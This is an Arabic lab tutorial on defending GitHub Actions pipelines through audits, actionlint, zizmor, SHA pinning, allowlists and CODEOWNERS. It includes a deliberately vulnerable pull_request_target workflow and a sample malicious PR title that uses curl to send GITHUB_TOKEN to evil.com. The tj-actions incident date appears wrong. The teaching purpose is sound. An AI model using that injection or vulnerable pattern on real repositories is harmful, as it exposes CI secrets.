نظرة عامة
تُعد GitHub Actions من الأطراف الثالثة واحدة من أكثر الميزات ملاءمة في نظام GitHub. باستخدام توجيه uses: واحد، يمكنك استيراد منطق بناء معقد، أو النشر على مزودي الخدمات السحابية، أو تشغيل أدوات الفحص الأمني. لكن هذه الراحة تأتي مع مقايضة حرجة: كل action من طرف ثالث تنفذ شيفرة برمجية في بيئة CI الخاصة بك مع إمكانية الوصول إلى أسرارك ورموزك المميزة وشيفرتك المصدرية.
يمكن لـ action مخترقة أو خبيثة أن تسرّب بيانات الاعتماد، أو تحقن شيفرة في مخرجات البناء، أو تعدّل متغيرات البيئة لتغيير الخطوات اللاحقة، أو تضع بابًا خلفيًا في إصداراتك. على عكس التبعيات المُدارة بواسطة مديري الحزم، تفتقر GitHub Actions إلى نظام تحقق قوي، مما يجعلها هدفًا رئيسيًا لهجمات سلسلة التوريد.
في هذا المختبر العملي، ستتعلم:
- تدقيق actions الأطراف الثالثة يدويًا بحثًا عن سلوك مشبوه
- استخدام actionlint لاكتشاف أخطاء التكوين وثغرات حقن التعبيرات
- استخدام zizmor لاكتشاف الأنماط المضادة للأمان في مسارات العمل
- تثبيت actions بمراجع SHA غير قابلة للتغيير وأتمتة التحديثات باستخدام Dependabot
- فرض قائمة بيضاء للـ actions لمنع الـ actions غير المصرح بها من الدخول إلى خطوط الأنابيب الخاصة بك
- مراقبة تغييرات مسارات العمل من خلال CODEOWNERS وفحوصات PR الآلية
بنهاية هذا المختبر، سيكون لديك استراتيجية دفاع متعددة الطبقات تقلل من مخاطر اختراق سلسلة التوريد من خلال GitHub Actions.
المتطلبات الأساسية
قبل بدء هذا المختبر، تأكد من توفر:
- حساب GitHub مع صلاحيات إنشاء المستودعات وتكوين Actions
- مستودع اختبار — أنشئ مستودعًا جديدًا أو استخدم مستودعًا موجودًا غير إنتاجي يحتوي على مسار عمل GitHub Actions واحد على الأقل
- Git CLI مثبت ومصادق مع GitHub
- Node.js 18+ (مطلوب لبعض الأدوات)
- Python 3.9+ (لتثبيت zizmor)
- GitHub CLI (
gh) — التثبيت من cli.github.com - معرفة أساسية بـ GitHub Actions — يجب أن تفهم صياغة YAML لمسارات العمل، والوظائف، والخطوات، والكلمة المفتاحية
uses:
أنشئ مستودع اختبار إذا لم يكن لديك واحد:
gh repo create actions-security-lab --public --clone
cd actions-security-lab
mkdir -p .github/workflows
أنشئ ملف مسار عمل نموذجي في .github/workflows/ci.yml سنستخدمه في هذا المختبر:
name: CI Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- uses: actions/cache@v4
with:
path: ~/.npm
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
- run: npm ci
- run: npm test
فهم التهديد
قبل أن نبدأ بالفحص والتدقيق، من المهم فهم كيف تصبح GitHub Actions نواقل هجوم. هناك عدة طرق اختراق موثقة جيدًا:
استيلاء على حساب المشرف
يحصل المهاجم على وصول إلى حساب GitHub لمشرف الـ action — من خلال حشو بيانات الاعتماد، أو التصيد الاحتيالي، أو اختطاف الجلسة. بمجرد سيطرته على الحساب، يدفع شيفرة خبيثة إلى مستودع الـ action ويحدّث العلامات الموجودة للإشارة إلى الالتزام المخترق. كل مسار عمل يشير إلى تلك العلامة يسحب النسخة الخبيثة فورًا في التشغيل التالي.
تحديثات العلامات الخبيثة
علامات Git قابلة للتغيير. يمكن لمشرف الـ action (أو المهاجم الذي لديه صلاحية الدفع) حذف علامة مثل v1 وإعادة إنشائها مشيرة إلى التزام مختلف. إذا كان مسار عملك يستخدم uses: some-action/tool@v1، فأنت تثق بأن العلامة تشير دائمًا إلى شيفرة آمنة. هذه الثقة يمكن انتهاكها بسهولة.
انتحال الأسماء المتشابهة
ينشئ المهاجمون actions بأسماء مشابهة بشكل مربك للـ actions الشائعة. على سبيل المثال:
actions/checkout(شرعي) مقابلaction/checkout(انتحال)actions/setup-nodeمقابلactions/setup-nodejsdocker/build-push-actionمقابلdocker/build-and-push-action
خطأ إملائي واحد في ملف YAML لمسار عملك يمكن أن يسحب action مختلفة تمامًا وخبيثة.
اختطاف التبعيات
العديد من GitHub Actions مبنية على JavaScript ولديها تبعيات node_modules خاصة بها. إذا تم اختراق إحدى تبعيات الـ action (عبر هجوم سلسلة توريد npm)، تصبح الـ action نفسها ناقل هجوم — حتى لو كانت شيفرة الـ action نفسها نظيفة.
حوادث واقعية
tj-actions/changed-files (مارس 2023): اخترق المهاجمون الـ action المستخدمة على نطاق واسع tj-actions/changed-files من خلال الوصول إلى حساب المشرف. عدّلوا الـ action لتسريب أسرار CI/CD عن طريق تفريغ ذاكرة المُشغّل ومتغيرات البيئة في سجلات مسار العمل. تأثرت آلاف المستودعات لأنها أشارت إلى علامات قابلة للتغيير بدلاً من SHA مثبتة.
codecov/codecov-action (2021): تم تعديل Codecov Bash Uploader بواسطة مهاجمين حصلوا على الوصول من خلال صورة Docker مخترقة مستخدمة في عملية CI الخاصة بـ Codecov. قام السكريبت المعدّل بتسريب متغيرات البيئة — بما في ذلك رموز CI ومفاتيح API وبيانات الاعتماد — من بيئات CI الخاصة بالعملاء. أثر هذا على عدد كبير من المنظمات التي تشغل action الخاصة بـ Codecov في خطوط أنابيبها.
تشترك هذه الحوادث في نمط مشترك: الثقة في المراجع القابلة للتغيير. كان يمكن تخفيف كلتا الحادثتين عن طريق التثبيت بـ SHA غير قابلة للتغيير وتدقيق سلوك الـ action قبل اعتمادها.
التمرين 1: التدقيق اليدوي للـ Actions
الأدوات الآلية ضرورية، لكن لا بديل عن فهم ما تفعله الـ action فعلاً. في هذا التمرين، ستقوم بتدقيق ثلاث actions شائعة الاستخدام يدويًا لبناء حدسك في اكتشاف الأنماط المشبوهة.
الخطوة 1: اختيار الـ Actions للتدقيق
من مسار العمل النموذجي أعلاه، سنقوم بتدقيق:
actions/checkout@v4actions/setup-node@v4actions/cache@v4
الخطوة 2: مراجعة action.yml
لكل action، ابدأ بفحص ملف action.yml في مستودع الـ action. يحدد هذا الملف المدخلات والمخرجات ونقطة الدخول للـ action.
# استنساخ الـ action للفحص محليًا
git clone --depth 1 https://github.com/actions/checkout.git /tmp/audit-checkout
cat /tmp/audit-checkout/action.yml
الأشياء الرئيسية التي يجب البحث عنها في action.yml:
- نقطة الدخول: هل هي action من نوع
node(تشغل JavaScript)، أوcomposite(تشغل خطوات)، أوdocker(تشغل حاوية)؟ لكل نوع ملف مخاطر مختلف. - المدخلات: هل تقبل الـ action مدخلات حساسة مثل الرموز المميزة أو بيانات الاعتماد؟
- الإجراء اللاحق: هل تحدد نقطة دخول
post:؟ الإجراءات اللاحقة تعمل حتى لو فشلت الوظيفة، مما يجعلها مثالية للتسريب.
الخطوة 3: فحص الشيفرة المصدرية
للـ actions المبنية على JavaScript/TypeScript، افحص ملف dist/index.js المُجمّع والمصدر في src/:
# البحث عن استدعاءات الشبكة
grep -rn 'https\?://' /tmp/audit-checkout/src/ | grep -v 'github.com\|api.github.com'
# البحث عن أنماط الوصول للأسرار
grep -rn 'GITHUB_TOKEN\|process.env\|getInput' /tmp/audit-checkout/src/
# البحث عن كتابة الملفات في مواقع حساسة
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' /tmp/audit-checkout/src/
# البحث عن استدعاءات exec أو spawn
grep -rn 'exec\|spawn\|child_process' /tmp/audit-checkout/src/
الخطوة 4: قائمة فحص العلامات الحمراء
استخدم قائمة الفحص هذه عند تدقيق أي GitHub Action:
| العلامة الحمراء | ما الذي تبحث عنه | مستوى الخطر |
|---|---|---|
| استدعاءات شبكة لنطاقات مجهولة | fetch()، http.request()، curl لنطاقات غير GitHub |
حرج |
| الوصول للأسرار | قراءة GITHUB_TOKEN، secrets.*، أو متغيرات البيئة |
عالي |
| التلاعب بالبيئة | الكتابة في GITHUB_ENV، GITHUB_OUTPUT، أو GITHUB_PATH |
عالي |
| تنفيذ شيفرة ديناميكية | eval()، exec()، تنزيل وتشغيل سكريبتات |
حرج |
| شيفرة مبهمة | سلاسل مشفرة بـ Base64، شيفرة مصغرة بدون خرائط مصدر | عالي |
| خطافات الإجراء اللاحق | نقطة دخول post: في action.yml |
متوسط |
| صلاحيات مفرطة مطلوبة | التوثيق يطلب صلاحيات write أكثر مما هو مطلوب |
متوسط |
| لا تحقق أو توقيع | الـ action ليست من منشئ موثق، لا توقيعات Sigstore | منخفض-متوسط |
الخطوة 5: مثال على التدقيق — actions/checkout@v4
إليك تدقيقًا مختصرًا لـ actions/checkout@v4:
# تحليل action.yml
# - النوع: node20 (action بلغة JavaScript)
# - المدخلات: يقبل مدخل 'token' (الافتراضي github.token)
# - الإجراء اللاحق: نعم — يشغل تنظيف لإزالة بيانات الاعتماد
# تحليل الشبكة
# - يتصل بـ: api.github.com (متوقع لعمليات git)
# - لا اتصالات بنطاقات أطراف ثالثة ✓
# التعامل مع الأسرار
# - يستخدم GITHUB_TOKEN لاستنساخ git المصادق عليه
# - يتم حفظ الرمز في تكوين git افتراضيًا (مدخل persist-credentials)
# - الإجراء اللاحق يزيل بيانات الاعتماد المحفوظة
# كتابة البيئة
# - لا يكتب في GITHUB_ENV أو GITHUB_PATH ✓
# الحكم: آمن — السلوك يطابق الغرض الموثق
# التوصية: اضبط persist-credentials: false لتقليل تعرض الرمز
طبّق نفس العملية على كل action جديدة قبل إضافتها إلى مسارات عملك.
التمرين 2: فحص الـ Actions باستخدام actionlint
actionlint هو أداة تحليل ثابت لملفات مسارات عمل GitHub Actions. يكتشف أخطاء الصياغة، وعدم تطابق الأنواع، والأهم لأغراضنا — ثغرات حقن التعبيرات.
الخطوة 1: تثبيت actionlint
# macOS
brew install actionlint
# Linux (تنزيل الملف التنفيذي)
curl -sL https://github.com/rhysd/actionlint/releases/latest/download/actionlint_linux_amd64.tar.gz | tar xz
sudo mv actionlint /usr/local/bin/
# التحقق من التثبيت
actionlint --version
الخطوة 2: التشغيل على مسارات العمل
actionlint .github/workflows/*.yml
لمسار عمل CI النموذجي لدينا، سينتج actionlint مخرجات نظيفة لأننا اتبعنا الممارسات الجيدة. دعنا ننشئ مسار عمل ضعيف لنرى قدرات اكتشاف الأمان في actionlint.
الخطوة 3: إنشاء مسار عمل ضعيف
أنشئ .github/workflows/greet-pr.yml مع ثغرات متعمدة:
name: Greet PR
on:
pull_request_target:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Greet the contributor
run: |
echo "PR Title: ${{ github.event.pull_request.title }}"
echo "PR Author: ${{ github.event.pull_request.user.login }}"
echo "PR Body: ${{ github.event.pull_request.body }}"
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Post comment
run: |
curl -X POST \
-H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments \
-d '{"body": "Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}"}'
الخطوة 4: فحص مسار العمل الضعيف
actionlint .github/workflows/greet-pr.yml
سيُبلّغ actionlint عن ثغرات حقن التعبيرات:
.github/workflows/greet-pr.yml:14:27: expression injection:
"github.event.pull_request.title" is potentially untrusted.
Consider using an environment variable instead.
[expression]
.github/workflows/greet-pr.yml:16:25: expression injection:
"github.event.pull_request.body" is potentially untrusted.
Consider using an environment variable instead.
[expression]
حقول title وbody يتحكم بها كاتب الـ PR. يمكن للمهاجم صياغة عنوان PR يحتوي على محارف خاصة بالصدفة لتنفيذ أوامر عشوائية:
# عنوان PR خبيث:
Innocent Title"; curl -s https://evil.com/steal?token=$GITHUB_TOKEN; echo "
عندما يتم استكمال هذا العنوان مباشرة في كتلة run: عبر ${{ }}، تنفذ الصدفة الأمر المحقون.
الخطوة 5: إصلاح الثغرة
الإصلاح هو تمرير البيانات غير الموثوقة من خلال متغيرات البيئة بدلاً من الاستكمال المباشر:
name: Greet PR (Fixed)
on:
pull_request_target:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Greet the contributor
run: |
echo "PR Title: $PR_TITLE"
echo "PR Author: $PR_AUTHOR"
echo "PR Body: $PR_BODY"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
PR_BODY: ${{ github.event.pull_request.body }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Post comment
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`
});
متغيرات البيئة تُمرر كبيانات، ولا يتم استكمالها في أوامر الصدفة، مما يمنع الحقن. أعد تشغيل actionlint للتأكد من الإصلاح:
actionlint .github/workflows/greet-pr-fixed.yml
# لا مخرجات = لا مشاكل
التمرين 3: الفحص باستخدام zizmor
zizmor هو أداة تحليل ثابت تركز على الأمان ومصممة خصيصًا لـ GitHub Actions. بينما يركز actionlint على الصحة مع بعض فحوصات الأمان، يركز zizmor حصريًا على الأنماط المضادة للأمان.
الخطوة 1: تثبيت zizmor
# التثبيت عبر pip
pip install zizmor
# أو عبر pipx للعزل
pipx install zizmor
# التحقق من التثبيت
zizmor --version
الخطوة 2: التشغيل على مسارات العمل
zizmor .github/workflows/
يحلل zizmor مسارات العمل لمجموعة شاملة من المشاكل الأمنية. على ملف ci.yml النموذجي لدينا، سيُبلّغ عن:
ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
15| - uses: actions/checkout@v4
| ^^^^ action not pinned to a full-length commit SHA
|
= note: Pinning actions to a full SHA protects against tag mutation attacks
ci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
17| - uses: actions/setup-node@v4
| ^^^^ action not pinned to a full-length commit SHA
ci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
20| - uses: actions/cache@v4
| ^^^^ action not pinned to a full-length commit SHA
الخطوة 3: فحص مسار العمل الضعيف
zizmor .github/workflows/greet-pr.yml
سينتج zizmor نتائج أمنية أغنى:
greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger
|
4 | pull_request_target:
| ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch
|
= note: This trigger has access to repository secrets and a read-write token
greet-pr.yml:14:27 error[template-injection]: template injection in run: block
|
14| echo "PR Title: ${{ github.event.pull_request.title }}"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
= note: Attacker-controlled input is interpolated directly into a shell command
greet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA
|
= note: All third-party actions should be pinned to full commit SHAs
greet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad
|
= note: Consider using read-only permissions where possible
الخطوة 4: مقارنة actionlint وzizmor
| الميزة | actionlint | zizmor |
|---|---|---|
| التركيز الأساسي | الصحة والصياغة | التحليل الأمني |
| حقن التعبيرات | نعم | نعم (أكثر شمولاً) |
| actions غير مثبتة | لا | نعم |
| المُحفّزات الخطرة | لا | نعم |
| الصلاحيات المفرطة | لا | نعم |
| تسميم المخرجات | لا | نعم |
| خطأ تكوين OIDC | لا | نعم |
| فحص الأنواع | نعم | لا |
| الصياغة المهملة | نعم | لا |
التوصية: استخدم كلتا الأداتين معًا. يكتشف actionlint مشاكل الصحة وأنماط الحقن الأساسية؛ يوفر zizmor تحليلاً أمنيًا أعمق. أضف كليهما إلى خط أنابيب CI الخاص بك:
name: Workflow Security Scan
on:
pull_request:
paths:
- '.github/workflows/**'
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- name: Run actionlint
run: |
brew install actionlint
actionlint .github/workflows/*.yml
- name: Run zizmor
run: |
pip install zizmor
zizmor .github/workflows/
التمرين 4: تثبيت والتحقق من سلامة الـ Actions
المراجع المبنية على العلامات مثل @v4 قابلة للتغيير — يمكن نقل العلامة للإشارة إلى أي التزام في أي وقت. التثبيت بـ SHA غير قابل للتغيير ويوفر ضمانًا تشفيريًا بأنك تشغل الشيفرة ذاتها التي راجعتها.
الخطوة 1: تحديد SHA للـ Actions
استخدم GitHub CLI لتحديد SHA الحالي لكل علامة action:
# تحديد actions/checkout@v4
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
# المخرج: b4ffde65f46336ab88eb53be808477a3936bae11
# تحديد actions/setup-node@v4
gh api repos/actions/setup-node/git/ref/tags/v4 --jq '.object.sha'
# المخرج: 60edb5dd545a775178f52524783378180af0d1f8
# تحديد actions/cache@v4
gh api repos/actions/cache/git/ref/tags/v4 --jq '.object.sha'
# المخرج: 0c45773b623bea8c8e75f6c82b208c3cf94d9d67
مهم: بعض العلامات تشير إلى كائنات علامات مُعلّقة بدلاً من الالتزامات مباشرة. في هذه الحالة، تحتاج إلى إلغاء مرجع العلامة:
# إذا أرجع الأمر أعلاه كائن من نوع 'tag'، قم بإلغاء المرجع:
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object'
# إذا كان النوع "tag"، احصل على الالتزام الأساسي:
gh api repos/actions/checkout/git/tags/TAG_SHA --jq '.object.sha'
الخطوة 2: تحديث مسار العمل
استبدل مراجع العلامات بتثبيت SHA. أضف دائمًا تعليقًا بالعلامة الأصلية لسهولة القراءة:
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4
with:
node-version: '20'
- uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4
with:
path: ~/.npm
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
الخطوة 3: التحقق من توقيعات Sigstore (عند توفرها)
بعض ناشري الـ actions يوقعون إصداراتهم باستخدام Sigstore. يمكنك التحقق من هذه التوقيعات:
# تثبيت cosign
brew install cosign
# التحقق من إصدار action موقع (إذا كان الناشر يوقعها)
cosign verify-blob \
--certificate-identity "https://github.com/actions/checkout/.github/workflows/release.yml@refs/tags/v4" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
--bundle checkout-v4.sigstore.json \
checkout-v4.tar.gz
ليست كل الـ actions تنشر توقيعات Sigstore بعد، لكن هذه ممارسة ناشئة.
الخطوة 4: إعداد Dependabot لتحديثات SHA الآلية
التثبيت بـ SHA يعني أنك لن تحصل على التحديثات تلقائيًا. استخدم Dependabot لأتمتة ذلك مع الحفاظ على عدم القابلية للتغيير:
أنشئ .github/dependabot.yml:
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
open-pull-requests-limit: 10
labels:
- "dependencies"
- "github-actions"
reviewers:
- "your-security-team"
commit-message:
prefix: "chore(deps)"
عندما يتم إصدار نسخة جديدة من action، سينشئ Dependabot طلب PR يحدّث تثبيت SHA:
# مثال على فرق PR من Dependabot:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+ uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2
هذا يمنحك أفضل ما في العالمين: مراجع غير قابلة للتغيير مع تحديثات آلية تمر عبر عملية مراجعة PR العادية.
التمرين 5: فرض قائمة بيضاء للـ Actions
حتى مع التثبيت والفحص، تحتاج إلى آلية لمنع الـ actions غير المعتمدة من الإضافة إلى مسارات العمل. تضمن القائمة البيضاء أن الـ actions المُدققة فقط يمكن استخدامها.
الخيار أ: GitHub Enterprise — قائمة بيضاء على مستوى المنظمة
إذا كنت تستخدم GitHub Enterprise، يمكنك تقييد الـ actions على مستوى المنظمة:
- اذهب إلى إعدادات المنظمة
- انتقل إلى Actions → General
- تحت السياسات، اختر السماح لـ actions ومسارات العمل القابلة لإعادة الاستخدام المحددة
- أضف الـ actions المعتمدة:
actions/checkout@*،actions/setup-node@*، إلخ.
هذا هو أقوى تطبيق لأن GitHub نفسه سيرفض تشغيل مسارات العمل التي تستخدم actions غير مسموح بها.
الخيار ب: فحص القائمة البيضاء المبني على CI
للمنظمات بدون GitHub Enterprise، يمكنك إنشاء آلية تطبيق مبنية على CI.
الخطوة 1: إنشاء القائمة البيضاء.
أنشئ allowed-actions.txt في جذر مستودعك:
# GitHub Actions المعتمدة
# الصيغة: owner/repo
# الأسطر التي تبدأ بـ # هي تعليقات
# Actions الرسمية من GitHub
actions/checkout
actions/setup-node
actions/cache
actions/upload-artifact
actions/download-artifact
actions/github-script
# فحص الأمان
github/codeql-action
# أطراف ثالثة معتمدة
docker/build-push-action
docker/login-action
الخطوة 2: إنشاء سكريبت التحقق.
أنشئ scripts/check-actions.sh:
#!/bin/bash
set -euo pipefail
ALLOWLIST="allowed-actions.txt"
WORKFLOW_DIR=".github/workflows"
FAILED=0
if [[ ! -f "$ALLOWLIST" ]]; then
echo "ERROR: Allowlist file not found: $ALLOWLIST"
exit 1
fi
# استخراج جميع مراجع 'uses:' من ملفات مسارات العمل
echo "Scanning workflow files for action references..."
echo "================================================"
for workflow in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[[ -f "$workflow" ]] || continue
echo ""
echo "Checking: $workflow"
# استخراج مراجع الـ actions (owner/repo من uses: owner/repo@ref)
actions=$(grep -oP 'uses:\s+\K[^@\s]+' "$workflow" | \
grep '/' | \
grep -v '^\.\./\|^docker://' | \
sort -u)
for action in $actions; do
if grep -qx "$action" "$ALLOWLIST"; then
echo " ✓ $action (approved)"
else
echo " ✗ $action (NOT IN ALLOWLIST)"
FAILED=1
fi
done
done
echo ""
echo "================================================"
if [[ $FAILED -eq 1 ]]; then
echo "FAILED: Unapproved actions detected!"
echo "To approve a new action, add it to $ALLOWLIST and get security team review."
exit 1
else
echo "PASSED: All actions are approved."
fi
اجعل السكريبت قابلاً للتنفيذ:
chmod +x scripts/check-actions.sh
الخطوة 3: إنشاء مسار عمل التطبيق.
أنشئ .github/workflows/check-actions.yml:
name: Action Allowlist Check
on:
pull_request:
paths:
- '.github/workflows/**'
- 'allowed-actions.txt'
permissions:
contents: read
jobs:
check-actions:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- name: Check actions against allowlist
run: ./scripts/check-actions.sh
الخطوة 4: اختبار التطبيق.
أضف action غير معتمدة إلى مسار عمل في فرع وافتح PR:
# في فرع جديد، أضف action غير معتمدة
git checkout -b test-unapproved-action
# أضف action غير معتمدة إلى ci.yml
# مثلاً، uses: some-unknown/action@v1
git add .github/workflows/ci.yml
git commit -m "test: add unapproved action"
git push origin test-unapproved-action
# افتح PR → وظيفة check-actions ستفشل
ستظهر المخرجات:
Checking: .github/workflows/ci.yml
✓ actions/checkout (approved)
✓ actions/setup-node (approved)
✓ actions/cache (approved)
✗ some-unknown/action (NOT IN ALLOWLIST)
================================================
FAILED: Unapproved actions detected!
To approve a new action, add it to allowed-actions.txt and get security team review.
اجعل هذا فحص حالة مطلوب في قواعد حماية الفرع لفرض القائمة البيضاء على جميع طلبات PR.
التمرين 6: مراقبة تغييرات الـ Actions
حتى مع القوائم البيضاء والتثبيت، تحتاج إلى رؤية حول متى تتغير ملفات مسارات العمل. هذا التمرين يُعدّ آليات المراقبة والتنبيه.
الخطوة 1: إعداد CODEOWNERS
أنشئ .github/CODEOWNERS لطلب مراجعة فريق الأمان لتغييرات مسارات العمل:
# طلب مراجعة فريق الأمان لجميع تغييرات مسارات العمل
.github/workflows/ @your-org/security-team
.github/actions/ @your-org/security-team
allowed-actions.txt @your-org/security-team
.github/dependabot.yml @your-org/security-team
فعّل قاعدة حماية الفرع “طلب المراجعة من مالكي الشيفرة” لفرض ذلك.
الخطوة 2: إنشاء مُبلّغ تغييرات مسارات العمل
أنشئ مسار عمل يعلّق تلقائيًا على طلبات PR بملخص تغييرات الـ actions:
name: Workflow Change Report
on:
pull_request:
paths:
- '.github/workflows/**'
permissions:
contents: read
pull-requests: write
jobs:
report:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
with:
fetch-depth: 0
- name: Generate action change report
id: report
run: |
BASE=${{ github.event.pull_request.base.sha }}
HEAD=${{ github.event.pull_request.head.sha }}
echo "## Workflow Changes Report" > /tmp/report.md
echo "" >> /tmp/report.md
# البحث عن ملفات مسارات العمل المُعدّلة
CHANGED_FILES=$(git diff --name-only "$BASE".."$HEAD" -- .github/workflows/)
if [[ -z "$CHANGED_FILES" ]]; then
echo "No workflow files changed." >> /tmp/report.md
exit 0
fi
echo "### Changed Files" >> /tmp/report.md
for file in $CHANGED_FILES; do
echo "- \`$file\`" >> /tmp/report.md
done
echo "" >> /tmp/report.md
# استخراج تغييرات الـ actions
echo "### Action Reference Changes" >> /tmp/report.md
echo '```diff' >> /tmp/report.md
git diff "$BASE".."$HEAD" -- .github/workflows/ | \
grep -E '^[+-].*uses:' | \
grep -v '^[+-]{3}' >> /tmp/report.md || true
echo '```' >> /tmp/report.md
echo "" >> /tmp/report.md
echo "⚠️ **Security team review required for workflow changes.**" >> /tmp/report.md
- name: Comment on PR
uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7
with:
script: |
const fs = require('fs');
const report = fs.readFileSync('/tmp/report.md', 'utf8');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: report
});
الخطوة 3: الاستفادة من تنبيهات Dependabot الأمنية
يُبلّغ Dependabot تلقائيًا عن الثغرات المعروفة في GitHub Actions. تأكد من تفعيل ذلك:
- اذهب إلى إعدادات المستودع → أمان الشيفرة والتحليل
- فعّل تنبيهات Dependabot
- فعّل تحديثات Dependabot الأمنية
عندما تحتوي action مثبتة على ثغرة معروفة، سينشئ Dependabot طلب PR للتحديث الأمني. لأنك مثبت بـ SHA، يظهر الفرق بوضوح هاشات الالتزام القديمة والجديدة، مما يسهّل مراجعة ما تغير بالضبط.
الخطوة 4: مراقبة سجل التدقيق (GitHub Enterprise)
للمنظمات التي تستخدم GitHub Enterprise، فعّل بث سجل التدقيق لاكتشاف تعديلات مسارات العمل:
# الاستعلام في سجل التدقيق عن تغييرات ملفات مسارات العمل
gh api orgs/YOUR_ORG/audit-log \
--method GET \
-f phrase='action:workflows' \
-f per_page=50 \
--jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'
بناء استراتيجية الدفاع
ليست كل المنظمات تحتاج كل عنصر تحكم. إليك نهج متدرج بناءً على متطلبات الأمان الخاصة بك:
المستوى 1: الحد الأدنى (جميع المنظمات)
- ثبّت جميع الـ actions بهاشات SHA الكاملة — يمنع هجمات تغيير العلامات
- فعّل Dependabot لـ github-actions — يؤتمت تحديثات SHA
- اضبط الحد الأدنى من الصلاحيات — استخدم
permissions:على مستوى مسار العمل والوظيفة
الجهد: منخفض. الأثر: يحجب ناقل الهجوم الأكثر شيوعًا (العلامات القابلة للتغيير).
المستوى 2: الموصى به (معظم المنظمات)
كل ما في المستوى 1، بالإضافة إلى:
- تشغيل actionlint وzizmor في CI — يكتشف ثغرات الحقن وأخطاء التكوين الأمنية قبل دمجها
- إعداد CODEOWNERS لملفات مسارات العمل — يضمن مراجعة فريق الأمان لجميع تغييرات مسارات العمل
- تفعيل قواعد حماية الفرع — طلب فحوصات الحالة ومراجعات مالكي الشيفرة
الجهد: متوسط. الأثر: يكتشف الثغرات أثناء التطوير ويضمن المراجعة.
المستوى 3: الأمان العالي (الصناعات المنظمة، الأهداف عالية القيمة)
كل ما في المستوى 2، بالإضافة إلى:
- فرض قائمة بيضاء للـ actions — فقط الـ actions المعتمدة مسبقًا يمكن استخدامها
- تدقيق أمني يدوي لكل action جديدة — مراجعة كاملة للشيفرة قبل الإضافة إلى القائمة البيضاء
- نسخ الـ actions الحرجة داخليًا — الحفاظ على نسخك الخاصة من الـ actions الأساسية لإزالة التبعية الخارجية
- تقارير تغييرات مسارات العمل الآلية — تعليقات PR تلخص جميع تغييرات الـ actions
- مراقبة سجل التدقيق — تنبيهات فورية عند تعديل مسارات العمل
الجهد: عالي. الأثر: دفاع شامل ضد هجمات سلسلة التوريد من خلال Actions.
التنظيف
بعد إكمال المختبر، نظّف أي موارد اختبار:
# حذف مستودع الاختبار إذا أنشأت واحدًا
gh repo delete actions-security-lab --yes
# حذف مجلدات التدقيق المستنسخة
rm -rf /tmp/audit-checkout /tmp/audit-setup-node /tmp/audit-cache
# إزالة تثبيت الأدوات إذا لم تعد مطلوبة
# brew uninstall actionlint
# pip uninstall zizmor
إذا استخدمت مستودعك الخاص، ارجع عن أي مسارات عمل اختبار ضعيفة:
git checkout main
git branch -D test-unapproved-action
rm -f .github/workflows/greet-pr.yml
النقاط الرئيسية
- GitHub Actions من الأطراف الثالثة تمثل خطرًا على سلسلة التوريد. كل توجيه
uses:ينفذ شيفرة خارجية في بيئة CI الخاصة بك مع الوصول إلى أسرارك ورموزك المميزة. - العلامات القابلة للتغيير هي السبب الجذري لمعظم اختراقات الـ actions. التثبيت بهاشات SHA الكاملة يزيل هجمات تغيير العلامات، وهي ناقل الاستغلال الأكثر شيوعًا.
- حقن التعبيرات هي أكثر ثغرات مسارات العمل انتشارًا. لا تستكمل أبدًا بيانات غير موثوقة (عناوين PR، أسماء الفروع، رسائل الالتزام) مباشرة في كتل
